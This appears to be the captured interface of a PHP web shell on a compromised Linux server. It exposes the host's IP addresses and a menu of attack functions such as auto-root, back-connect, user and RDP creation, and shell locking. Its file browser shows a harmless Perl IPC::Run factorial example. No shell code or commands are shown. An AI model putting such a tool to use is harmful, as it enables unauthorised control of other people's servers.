Linux server.nvwebsoft.co.in 3.10.0-1160.114.2.el7.x86_64 #1 SMP Wed Mar 20 15:54:52 UTC 2024 x86_64
Apache
: 162.240.12.249 | : 18.191.238.6
202 Domain
8.1.31
nbspublicschool
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
perl-IPC-Run-0.92 /
eg /
[ HOME SHELL ]
Name
Size
Permission
Action
factorial
1.53
KB
-rw-r--r--
factorial_pipe
861
B
-rw-r--r--
factorial_scalar
780
B
-rw-r--r--
run_daemon
338
B
-rw-r--r--
runsh
1.12
KB
-rw-r--r--
runsu
971
B
-rw-r--r--
synopsis_scripting
604
B
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : factorial_scalar
#!/usr/bin/perl -w ## Demonstration of using a scalar to queue input to a child process use strict ; use IPC::Run qw( start timeout ) ; die "usage: $0 <num>\n\nwhere <num> is a positive integer\n" unless @ARGV ; my $i = shift ; die "\$i must be > 0, not '$i'" unless $i =~ /^\d+$/ && $i > 0 ; my ( $in, $out ) ; my $h = start ['bc'], \$in, \$out, timeout( 5 ) ; $in = "a = i = $i ; i\n" ; while () { $out = '' ; $h->pump until $out =~ s/.*?(\d+)\n/$1/g ; print "bc said: $out\n" ; if ( $out > $i ) { print "result = $out\n" ; $in = undef ; last ; } elsif ( $out == '1' ) { ## End of calculation loop, get bc to output the result $in = "a\n" ; } else { $in = "i = i - 1 ; a = a * i ; i\n" ; } } $h->finish ;
Close